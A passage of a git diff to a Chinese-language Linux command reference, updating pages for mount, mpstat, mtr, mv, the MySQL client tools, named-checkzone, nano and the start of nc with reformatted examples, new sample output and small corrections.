mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。 -### 语法 +如果通过webdav协议挂载网络磁盘,需要运行指令`apt install davfs2`安装必要的组件 -``` +### 语法 + +```shell mount [-hV] mount -a [-fFnrsvw] [-t vfstype] mount [-fnrsvw] [-o options [,...]] device | dir mount [-fnrsvw] [-t vfstype] [-o options] device dir ``` -### 选项 +### 选项 -``` +```shell -V:显示程序版本 -h:显示辅助讯息 -v:显示较讯息,通常和 -f 用来除错。 @@ -37,8 +39,7 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir -o auto、-o noauto:打开/关闭自动挂上模式。 -o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async. -o dev、-o nodev-o exec、-o noexec允许执行档被执行。 --o suid、-o nosuid: -允许执行档在 root 权限下执行。 +-o suid、-o nosuid:允许执行档在 root 权限下执行。 -o user、-o nouser:使用者可以执行 mount/umount 的动作。 -o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。 -o ro:用唯读模式挂上。 @@ -46,27 +47,38 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir -o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。 ``` -### 实例 +### 实例1 将 `/dev/hda1` 挂在 `/mnt` 之下。 -``` -#mount /dev/hda1 /mnt +```shell +mount /dev/hda1 /mnt ``` 将 `/dev/hda1` 用唯读模式挂在 `/mnt` 之下。 -``` -#mount -o ro /dev/hda1 /mnt +```shell +mount -o ro /dev/hda1 /mnt ``` -将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光 碟 ISO 档在不烧录成光碟的情况下检视其内容。 +将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光碟 ISO 档在不烧录成光碟的情况下检视其内容。 +```shell +mount -o loop /tmp/image.iso /mnt/cdrom ``` -#mount -o loop /tmp/image.iso /mnt/cdrom -``` +### 实例2 +通过 webdav 协议挂载网络硬盘 + +将`https://your.webdav.link.here`的网络存储以网络磁盘的形式挂载到系统路径`/path/to/mount` +```shell +mount -t davfs https://your.webdav.link.here /path/to/mount +``` +### 实例3 +挂载 Android 系统 system 分区到 `/dev/loopX`,在知道文件格式的情况下,可以用 -t 来指定文件格式,比如 ext4。 - +```shell +mount -t ext4 /dev/loopX /mnt/system +``` diff --git a/command/mpstat.md b/command/mpstat.md index 4790e6a25d1..d4a89e0108a 100644 --- a/command/mpstat.md +++ b/command/mpstat.md @@ -1,95 +1,136 @@ mpstat === - + 显示各个可用CPU的状态 ## 补充说明 -**mpstat命令** 指令主要用于多CPU环境下,它显示各个可用CPU的状态系你想。这些信息存放在`/proc/stat`文件中。在多CPUs系统里,其不但能查看所有CPU的平均状况信息,而且能够查看特定CPU的信息。 +**mpstat命令** 主要用于多CPU环境下,它显示各个可用CPU的状态信息。这些信息存放在`/proc/stat`文件中。在多CPUs系统里,其不但能查看所有CPU的平均状况信息,而且能够查看特定CPU的信息。 -### 语法 +### 语法 -``` -mpstat(选项)(参数) +```shell +mpstat [选项] [<间隔时间> [<次数>]] ``` -### 选项 +### 选项 -``` +```shell -P:指定CPU编号。 ``` -### 参数 +### 参数 -* 间隔时间:每次报告的间隔时间(秒); -* 次数:显示报告的次数。 +- 间隔时间:每次报告的间隔时间(秒); +- 次数:显示报告的次数。 -### 实例 +### 表头含义 +- %user:表示处理用户进程所使用CPU的百分比。 +- %nice:表示在用户级别处理经nice降级的程序所使用CPU的百分比。 +- %system:表示内核进程使用的CPU百分比。 +- %iowait:表示等待进行I/O所占用CPU时间百分比。 +- %irq:表示用于处理系统中断的CPU百分比。 +- %soft:表示用于处理软件中断的CPU百分比。 +- %steal:在管理程序为另一个虚拟处理器服务时,显示虚拟的一个或多个CPU在非自愿等待中花费的时间的百分比。 +- %guest:表示一个或多个CPU在运行虚拟处理器时所花费的时间百分比。 +- %gnice:表示一个或多个CPU在运行经nice降级后的虚拟处理器时所花费的时间百分比。 +- %idle:CPU的空闲时间百分比。 + +### 实例 当mpstat不带参数时,输出为从系统启动以来的平均值。 -``` +```shell mpstat -Linux 2.6.9-5.31AXsmp (builder.redflag-linux.com) 12/16/2005 -09:38:46 AM CPU %user %nice %system %iowait %irq %soft %idle intr/s -09:38:48 AM all 23.28 0.00 1.75 0.50 0.00 0.00 74.47 1018.59 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/14/2022 _x86_64_ (4 CPU) + +04:28:36 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +04:28:36 PM all 0.03 0.00 0.07 0.00 0.00 0.01 0.00 0.00 0.00 99.89 ``` - **每2秒产生了2个处理器的统计数据报告:** + **每2秒产生了全部处理器的统计数据报告:** -下面的命令可以每2秒产生了2个处理器的统计数据报告,一共产生三个interval 的信息,然后再给出这三个interval的平均信息。默认时,输出是按照CPU 号排序。第一个行给出了从系统引导以来的所有活跃数据。接下来每行对应一个处理器的活跃状态。。 +下面的命令可以每2秒产生全部处理器的统计数据报告,一共产生三个interval的信息,最后再给出这三个interval的平均信息。默认时,输出是按照CPU号排序。第一个行给出了2秒内所有处理器使用情况。接下来每行对应一个处理器使用情况。 -``` +```shell mpstat -P ALL 2 3 -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -09:34:20 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -09:34:22 PM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 1001.49 -09:34:22 PM 0 0.00 0.00 0.50 0.00 0.00 0.00 0.00 99.50 1001.00 -09:34:22 PM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 0.00 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) + +09:32:43 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:32:45 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 + +09:32:45 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:32:47 AM all 0.00 0.00 0.12 0.00 0.00 0.12 0.00 0.00 0.00 99.75 +09:32:47 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:47 AM 1 0.00 0.00 0.50 0.00 0.00 0.00 0.00 0.00 0.00 99.50 +09:32:47 AM 2 0.00 0.00 0.00 0.00 0.00 0.50 0.00 0.00 0.00 99.50 +09:32:47 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 + +09:32:47 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:32:49 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 + +Average: CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +Average: all 0.00 0.00 0.04 0.00 0.00 0.04 0.00 0.00 0.00 99.92 +Average: 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +Average: 1 0.00 0.00 0.17 0.00 0.00 0.00 0.00 0.00 0.00 99.83 +Average: 2 0.00 0.00 0.00 0.00 0.00 0.17 0.00 0.00 0.00 99.83 +Average: 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 ``` **比较带参数和不带参数的mpstat的结果:** -在后台开一个2G的文件 +对localhost进行压力测试 -``` -cat 1.img & +```shell +ping -f localhost ``` 然后在另一个终端运行mpstat命令 -``` +```shell mpstat -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -10:17:31 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -10:17:31 PM all 0.07 0.02 0.25 0.21 0.01 0.04 0.00 99.40 1004.57 -``` +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) +09:34:20 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:34:20 AM all 0.03 0.00 0.07 0.00 0.00 0.02 0.00 0.00 0.00 99.88 ``` + +上文说到:当mpstat不带参数时,输出为从系统启动以来的平均值,所以这看不出什么变化。 + +```shell mpstat -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -10:17:35 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -10:17:35 PM all 0.07 0.02 0.25 0.21 0.01 0.04 0.00 99.39 1004.73 -``` +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) +09:34:40 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:34:40 AM all 0.03 0.00 0.07 0.00 0.00 0.02 0.00 0.00 0.00 99.88 ``` + +只有加上间隔时间才能显示某一段时间CPU的使用情况 + +```shell mpstat 3 10 -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -10:17:55 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -10:17:58 PM all 13.12 0.00 20.93 0.00 1.83 9.80 0.00 54.32 2488.08 -10:18:01 PM all 10.82 0.00 19.30 0.83 1.83 9.32 0.00 57.90 2449.83 -10:18:04 PM all 10.95 0.00 20.40 0.17 1.99 8.62 0.00 57.88 2384.05 -10:18:07 PM all 10.47 0.00 18.11 0.00 1.50 8.47 0.00 61.46 2416.00 -10:18:10 PM all 11.81 0.00 22.63 0.00 1.83 11.98 0.00 51.75 2210.60 -10:18:13 PM all 6.31 0.00 10.80 0.00 1.00 5.32 0.00 76.58 1795.33 -10:18:19 PM all 1.75 0.00 3.16 0.75 0.25 1.25 0.00 92.85 1245.18 -10:18:22 PM all 11.94 0.00 19.07 0.00 1.99 8.29 0.00 58.71 2630.46 -10:18:25 PM all 11.65 0.00 19.30 0.50 2.00 9.15 0.00 57.40 2673.91 -10:18:28 PM all 11.44 0.00 21.06 0.33 1.99 10.61 0.00 54.56 2369.87 -Average: all 9.27 0.00 16.18 0.30 1.50 7.64 0.00 65.11 2173.54 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) + +09:36:21 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:36:24 AM all 1.81 0.00 7.03 0.00 0.00 6.37 0.00 0.00 0.00 84.79 +09:36:27 AM all 1.82 0.00 6.88 0.00 0.00 5.83 0.00 0.00 0.00 85.47 +09:36:30 AM all 1.95 0.00 5.86 0.00 0.00 4.98 0.00 0.00 0.00 87.21 +09:36:33 AM all 3.95 0.00 6.50 0.00 0.00 5.46 0.00 0.00 0.00 84.09 +09:36:36 AM all 4.05 0.00 6.21 0.00 0.00 5.64 0.00 0.00 0.00 84.10 +09:36:39 AM all 4.21 0.00 6.92 0.00 0.00 5.33 0.00 0.00 0.00 83.54 +09:36:42 AM all 3.72 0.00 7.17 0.00 0.00 6.05 0.00 0.00 0.00 83.05 +09:36:45 AM all 3.97 0.00 6.93 0.00 0.00 6.65 0.00 0.00 0.00 82.46 +09:36:48 AM all 4.30 0.00 9.55 0.00 0.00 9.55 0.00 0.00 0.00 76.59 +09:36:51 AM all 4.35 0.00 9.31 0.00 0.00 8.79 0.00 0.00 0.00 77.55 +Average: all 3.44 0.00 7.28 0.00 0.00 6.52 0.00 0.00 0.00 82.76 ``` 上两表显示出当要正确反映系统的情况,需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题。 - - - \ No newline at end of file diff --git a/command/mtools.md b/command/mtools.md index 266bb952df6..0380550f6a0 100644 --- a/command/mtools.md +++ b/command/mtools.md @@ -1,21 +1,21 @@ mtools === - + 显示mtools支持的指令 ## 补充说明 **mtools命令** 显示mtools支持的指令,mtools为MS-DOS文件系统的工具程序,可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接,因此会有一些共同的特性。 -### 语法 +### 语法 -``` +```shell mtools(选项) ``` -### 选项 +### 选项 -``` +```shell -a:长文件名重复时自动更改目标文件的长文件名; -A:短文件名重复但长文件名不同时自动更改目标文件的短文件名; -o:长文件名重复时,将目标文件覆盖现有的文件; @@ -28,21 +28,19 @@ mtools(选项) -V:显示版本信息。 ``` -### 实例 +### 实例 使用mtools命令显示其支持的所有的指令,输入如下命令: -``` +```shell [root@localhost ~]# mtools #显示所有支持的指令名称 Supported commands: mattrib, mbadblocks, mcat, mcd, mclasserase, mcopy, mdel, mdeltree mdir, mdoctorfat, mdu, mformat, minfo, mlabel, mmd, mmount mpartition, mrd, mread, mmove, mren, mshowfat, mtoolstest, mtype mwrite, mzip - ``` 如上所示,其显示的所有命令均为mtools工具所支持的。 - \ No newline at end of file diff --git a/command/mtr.md b/command/mtr.md new file mode 100644 index 00000000000..fdcd34ea0f7 --- /dev/null +++ b/command/mtr.md @@ -0,0 +1,93 @@ +mtr +=== + +`mtr` 结合了 `traceroute` 和 `ping` 程序的功能,是一款简单的网络诊断工具 + +## 补充说明 + +用于调查 mtr 运行的主机与用户指定的目标主机之间的网络连接。在确定机器之间每个网络跳转的地址后,它会向每台机器发送一系列 ICMP ECHO 请求,以确定与每台机器的链路质量。在此过程中,它会打印每台机器的运行统计数据。 + +Debian 发行版已经内置了 `mtr`,其它发行版可自行安装,支持主流操作系统。 +可以访问其[官网](https://www.bitwizard.nl/mtr)详细了解。 + +### 语法 + +```shell +mtr (参数) (目标ip/域名) +``` + +### 参数 + +| 参数 | 解释 +---- | ---- +`-r` | 以报告模式显示 +`-c` | 发送数据包大小 +`-n` | 不用主机名解释 +`-s` | 指定ping数据包的大小 +`--report` | 不动态显示结果 + +### 实例 + +使用 `-r` 参数显示报告: + +```shell +[root@localhost ~]# mtr -r github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 10 0.5 0.5 0.4 0.6 0.1 + 2.|-- 10.12.52.0 0.0% 10 0.9 1.2 0.8 3.4 0.8 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 10 0.9 0.8 0.8 0.9 0.1 + 4.|-- 63.217.254.209 70.0% 10 1.3 1.3 1.2 1.3 0.0 + 5.|-- 63-216-176-146.static.pcc 0.0% 10 4.1 3.6 1.1 12.9 3.5 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 10 2.8 5.5 1.7 24.0 6.9 + 7.|-- be-102-0.ibr01.hkg20.ntwk 20.0% 10 36.4 36.5 36.3 36.7 0.1 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 10 36.4 37.3 36.3 39.5 1.4 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 10 35.9 38.8 35.9 53.3 5.4 + 10.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 11.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 12.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 13.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 14.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 15.|-- 20.205.243.166 0.0% 10 35.7 35.8 35.7 35.9 0.0 +``` + +使用 `-c` 参数设置每秒发送数据包数量: + +```shell +[root@localhost ~]# mtr -r -c 30 github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 30 0.5 0.4 0.3 1.2 0.2 + 2.|-- 10.12.52.0 0.0% 30 0.8 1.2 0.8 9.2 1.6 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 3.0 0.4 + 4.|-- 63.217.254.209 40.0% 30 1.3 1.3 1.1 2.4 0.3 + 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.0 3.1 1.0 13.5 3.4 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 1.7 2.2 1.6 5.7 0.9 + 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.4 36.6 36.3 38.9 0.5 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 30 36.7 47.1 36.2 102.7 21.0 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 41.4 35.9 78.4 8.8 + 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 11.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 12.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 13.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 14.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 15.|-- 20.205.243.166 0.0% 30 35.7 35.8 35.6 35.8 0.0 +``` + +使用 `-s` 参数指定 `ping` 数据包的大小: + +```shell +[root@localhost ~]# mtr -r -c 30 -s 1024 github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 30 0.6 0.6 0.3 4.3 0.7 + 2.|-- 10.12.52.0 0.0% 30 1.0 1.1 0.8 7.0 1.1 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 1.1 0.1 + 4.|-- 63.217.254.209 66.7% 30 1.3 1.3 1.2 1.5 0.1 + 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.1 3.3 1.0 18.4 4.5 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 2.2 3.7 1.7 12.2 2.5 + 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.5 36.6 36.4 38.9 0.5 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 33.3% 30 38.3 36.9 36.3 39.1 0.7 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 38.4 35.9 66.6 5.9 + 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 +``` diff --git a/command/mv.md b/command/mv.md index 5fc24c8345b..6737c65760b 100644 --- a/command/mv.md +++ b/command/mv.md @@ -14,15 +14,15 @@ mv命令可以用来将源文件移至一个目标文件中,或将一组文件 注意事项:mv与cp的结果不同,mv好像文件“搬家”,文件个数并未增加。而cp对文件进行复制,文件个数增加了。 -### 语法 +### 语法 -``` +```shell mv(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell --backup=<备份模式>:若需覆盖文件,则覆盖前先行备份; -b:当文件存在时,覆盖前,为其创建一个备份; -f:若目标文件或目录与现有的文件或目录重复,则直接覆盖现有的文件或目录; @@ -33,84 +33,84 @@ mv(选项)(参数) -u:当源文件比目标文件新或者目标文件不存在时,才执行移动操作。 ``` -### 参数 +### 参数 * 源文件:源文件列表。 * 目标文件:如果“目标文件”是文件名则在移动文件的同时,将其改名为“目标文件”;如果“目标文件”是目录名则将源文件移动到“目标文件”下。 -### 实例 +### 实例 将目录`/usr/men`中的所有文件移到当前目录(用`.`表示)中: -``` +```shell mv /usr/men/* . ``` 移动文件 -``` +```shell mv file_1.txt /home/office/ ``` 移动多个文件 -``` +```shell mv file_2.txt file_3.txt file_4.txt /home/office/ mv *.txt /home/office/ ``` 移动目录 -``` +```shell mv directory_1/ /home/office/ ``` 重命名文件或目录 -```bash +```shell mv file_1.txt file_2.txt # 将文件file_1.txt改名为file_2.txt ``` 重命名目录 -``` +```shell mv directory_1/ directory_2/ ``` 打印移动信息 -```bash +```shell mv -v *.txt /home/office ``` 提示是否覆盖文件 -``` +```shell mv -i file_1.txt /home/office ``` 源文件比目标文件新时才执行更新 -``` +```shell mv -uv *.txt /home/office ``` 不要覆盖任何已存在的文件 -``` +```shell mv -vn *.txt /home/office ``` 复制时创建备份 -``` +```shell mv -bv *.txt /home/office ``` 无条件覆盖已经存在的文件 -``` +```shell mv -f *.txt /home/office ``` - + diff --git a/command/mysql.md b/command/mysql.md index 3054928d97c..df678893502 100644 --- a/command/mysql.md +++ b/command/mysql.md @@ -1,30 +1,29 @@ mysql === - + MySQL服务器客户端工具 ## 补充说明 **mysql命令** 是MySQL数据库服务器的客户端工具,它工作在命令行终端中,完成对远程MySQL数据库服务器的操作。 -### 语法 +### 语法 -``` +```shell mysql(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -h:MySQL服务器的ip地址或主机名; -u:连接MySQL服务器的用户名; -e:执行mysql内部命令; -p:连接MySQL服务器的密码。 ``` -### 参数 +### 参数 数据库:指定连接服务器后自动打开的数据库。 - \ No newline at end of file diff --git a/command/mysqladmin.md b/command/mysqladmin.md index d882423b247..0b234d825b0 100644 --- a/command/mysqladmin.md +++ b/command/mysqladmin.md @@ -1,34 +1,34 @@ mysqladmin === - + MySQL服务器管理客户端 ## 补充说明 **mysqladmin命令** 是mysql服务器管理任务的客户端工具,它可以检查mytsql服务器的配置和当前工作状态,创建和删除数据库,创建用户和修改用户密码等操作。 -### 语法 +### 语法 -``` +```shell mysqladmin(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -h:MySQL服务器主机名或ip地址; -u:连接MySQL服务器的用户名; -p:连接MySQL服务器的密码; --help:显示帮助信息。 ``` -### 参数 +### 参数 管理命令:需要在MySQL服务器上执行的管理命令。 **mysqladmin支持下列命令:** -``` +```shell create databasename:创建一个新数据库; drop databasename:删除一个数据库及其所有表; extended-status:给出服务器的一个扩展状态消息; @@ -49,4 +49,3 @@ version:得到服务器的版本信息。 ``` - \ No newline at end of file diff --git a/command/mysqldump.md b/command/mysqldump.md index d87e31a2027..d1d067b680f 100644 --- a/command/mysqldump.md +++ b/command/mysqldump.md @@ -1,21 +1,21 @@ mysqldump === - + MySQL数据库中备份工具 ## 补充说明 **mysqldump命令** 是mysql数据库中备份工具,用于将MySQL服务器中的数据库以标准的sql语言的方式导出,并保存到文件中。 -### 语法 +### 语法 -``` +```shell mysqldump(选项) ``` -### 选项 +### 选项 -``` +```shell --add-drop-table:在每个创建数据库表语句前添加删除数据库表的语句; --add-locks:备份数据库表时锁定数据库表; --all-databases:备份MySQL服务器上的所有数据库; @@ -32,31 +32,39 @@ mysqldump(选项) --password:连接MySQL服务器的密码; --port:MySQL服务器的端口号; --user:连接MySQL服务器的用户名。 +--skip-lock-tables: 不锁表导出 ``` -### 实例 +### 实例 **导出整个数据库** -``` +```shell mysqldump -u 用户名 -p 数据库名 > 导出的文件名 mysqldump -u linuxde -p smgp_apps_linuxde > linuxde.sql ``` **导出一个表** -``` +```shell mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名 mysqldump -u linuxde -p smgp_apps_linuxde users > linuxde_users.sql ``` **导出一个数据库结构** -``` +```shell mysqldump -u linuxde -p -d --add-drop-table smgp_apps_linuxde > linuxde_db.sql ``` `-d`没有数据,`--add-drop-tabl`e每个create语句之前增加一个`drop table` +### 问题解决 + +**锁表失败** +``` +mysqldump: Got error: 1044: "Access denied for user 'appuser'@'1%' to database 'tc_mall'" when doing LOCK TABLES +``` +可使用`--skip-lock-tables`在导出数据阶段跳过锁表流程 + - \ No newline at end of file diff --git a/command/mysqlimport.md b/command/mysqlimport.md index f6fb644c41a..99edd434597 100644 --- a/command/mysqlimport.md +++ b/command/mysqlimport.md @@ -1,21 +1,21 @@ mysqlimport === - + 为MySQL服务器用命令行方式导入数据 ## 补充说明 **mysqlimport命令** 为mysql数据库服务器提供了一种命令行方式导入数据工具,它从特定格式的文本文件中读取数据插入MySQL数据库表中。 -### 语法 +### 语法 -``` +```shell mysqlimport(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -D:导入数据前清空表; -f:出现错误时继续处理剩余的操作; -h:MySQL服务器的ip地址或主机名; @@ -23,10 +23,9 @@ mysqlimport(选项)(参数) -p:连接MySQL服务器的密码。 ``` -### 参数 +### 参数 * 数据库名:指定要导入的数据库名称; * 文本文件:包含特定格式文本文件。 - \ No newline at end of file diff --git a/command/mysqlshow.md b/command/mysqlshow.md index 85b5fb9f316..fa50769089e 100644 --- a/command/mysqlshow.md +++ b/command/mysqlshow.md @@ -1,21 +1,21 @@ mysqlshow === - + 显示MySQL中数据库相关信息 ## 补充说明 **mysqlshow命令** 用于显示mysql服务器中数据库、表和列表信息。 -### 语法 +### 语法 -``` +```shell mysqlshow(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -h:MySQL服务器的ip地址或主机名; -u:连接MySQL服务器的用户名; -p:连接MySQL服务器的密码; @@ -25,9 +25,8 @@ mysqlshow(选项)(参数) -i:显示数据表的额外信息。 ``` -### 参数 +### 参数 数据库信息:指定要显示的数据库信息,可以是一个数据库名,或者是数据库名和表名,或者是数据库名、表名和列名。 - \ No newline at end of file diff --git a/command/named-checkzone.md b/command/named-checkzone.md index da7fbaed85d..ee0e9a53df8 100644 --- a/command/named-checkzone.md +++ b/command/named-checkzone.md @@ -1,21 +1,21 @@ named-checkzone === -使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。 +使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称 ## 补充说明 **named-checkzone命令** 可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。 -### 语法 +### 语法 -``` +```shell named-checkzone [选项] [区域名] [区域文件名] ``` -### 选项 +### 选项 -``` +```shell -q 安静模式 -d 启用调试 -c <类别> 指定区域的类别。如果没指定就使用IN @@ -25,7 +25,7 @@ named-checkzone [选项] [区域名] [区域文件名] 对区域文件/var/named/192.168.0.rev进行有效性检查和转换。 -```bash +```shell [root@localhost ~]# named-checkzone 0.168.192.in-addr.arpa /var/named/192.168.0.rev zone0.168.192.in-addr.arpa/IN: loaded serial 1268360612 OK @@ -33,11 +33,11 @@ OK 对区域文件/var/named/sh.com.hosts进行有效性检查和转换。 -```bash +```shell [root@localhost ~]# named-checkzone sh.com /var/named/sh.com.hosts zonesh.com/IN: sh.com/MX 'mail.sh.com' is a CNAME (illegal) zonesh.com/IN: loaded serial 1268360234 OK ``` - + diff --git a/command/nano.md b/command/nano.md index b0237ff6a5b..95d871c4f0e 100644 --- a/command/nano.md +++ b/command/nano.md @@ -1,6 +1,6 @@ nano === - + 字符终端文本编辑器 ## 补充说明 @@ -9,15 +9,15 @@ nano nano命令可以打开指定文件进行编辑,默认情况下它会自动断行,即在一行中输入过长的内容时自动拆分成几行,但用这种方式来处理某些文件可能会带来问题,比如Linux系统的配置文件,自动断行就会使本来只能写在一行上的内容折断成多行了,有可能造成系统不灵了。因此,如果你想避免这种情况出现,就加上`-w`选项吧。 -### 语法 +### 语法 -``` +```shell nano [选项] [[+行,列] 文件名]... ``` -### 选项 +### 选项 -``` +```shell -h, -? --help 显示此信息 +行,列 从所指列数与行数开始 -A --smarthome 启用智能 HOME 键 @@ -62,40 +62,39 @@ nano [选项] [[+行,列] 文件名]... -f, -g, -j (忽略,为与pico 相容) ``` -### 用法 +### 用法 - **光标控制** +**光标控制** -* 移动光标:使用用方向键移动。 -* 选择文字:按住鼠标左键拖到。 +* 移动光标:使用用方向键移动。 +* 选择文字:按住鼠标左键拖到。 - **复制、剪贴和粘贴** +**复制、剪贴和粘贴** -* 复制一整行:Alt+6 -* 剪贴一整行:Ctrl+K +* 复制一整行:Alt+6 +* 剪贴一整行:Ctrl+K - **粘贴:Ctrl+U** +**粘贴:Ctrl+U** 如果需要复制/剪贴多行或者一行中的一部分,先将光标移动到需要复制/剪贴的文本的开头,按Ctrl+6(或者Alt+A)做标记,然后移动光标到 待复制/剪贴的文本末尾。这时选定的文本会反白,用Alt+6来复制,Ctrl+K来剪贴。若在选择文本过程中要取消,只需要再按一次Ctrl+6。 - **搜索** +**搜索** 按Ctrl+W,然后输入你要搜索的关键字,回车确定。这将会定位到第一个匹配的文本,接着可以用Alt+W来定位到下一个匹配的文本。 - **翻页** +**翻页** -* Ctrl+Y到上一页 -* Ctrl+V到下一页 +* `Ctrl+Y` 到上一页 +* `Ctrl+V` 到下一页 - **保存** +**保存** 使用Ctrl+O来保存所做的修改 - **退出** +**退出** 按Ctrl+X 如果你修改了文件,下面会询问你是否需要保存修改。输入Y确认保存,输入N不保存,按Ctrl+C取消返回。如果输入了Y,下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行;若想要保存成别的名字(也就是另存为)则输入新名称然后确 定。这个时候也可用Ctrl+C来取消返回。 - \ No newline at end of file diff --git a/command/nc.md b/command/nc.md index e8cd6b22f88..6d1caeffe3f 100644 --- a/command/nc.md +++ b/command/nc.md @@ -1,43 +1,48 @@ nc === -命令用于设置路由器。 +nc是网络工具中的瑞士军刀 ## 补充说明 -**nc命令** 用于设置路由器。执行本指令可设置路由器的相关参数。 +**nc命令** 全称**netcat**,用于TCP、UDP或unix域套接字(uds)的数据流操作,它可以打开TCP连接,发送UDP数据包,监听任意TCP +和UDP端口,同时也可用作做端口扫描,支持IPv4和IPv6,与Telnet的不同在于nc可以编写脚本。 -### 语法 +### 语法 -``` +```shell nc 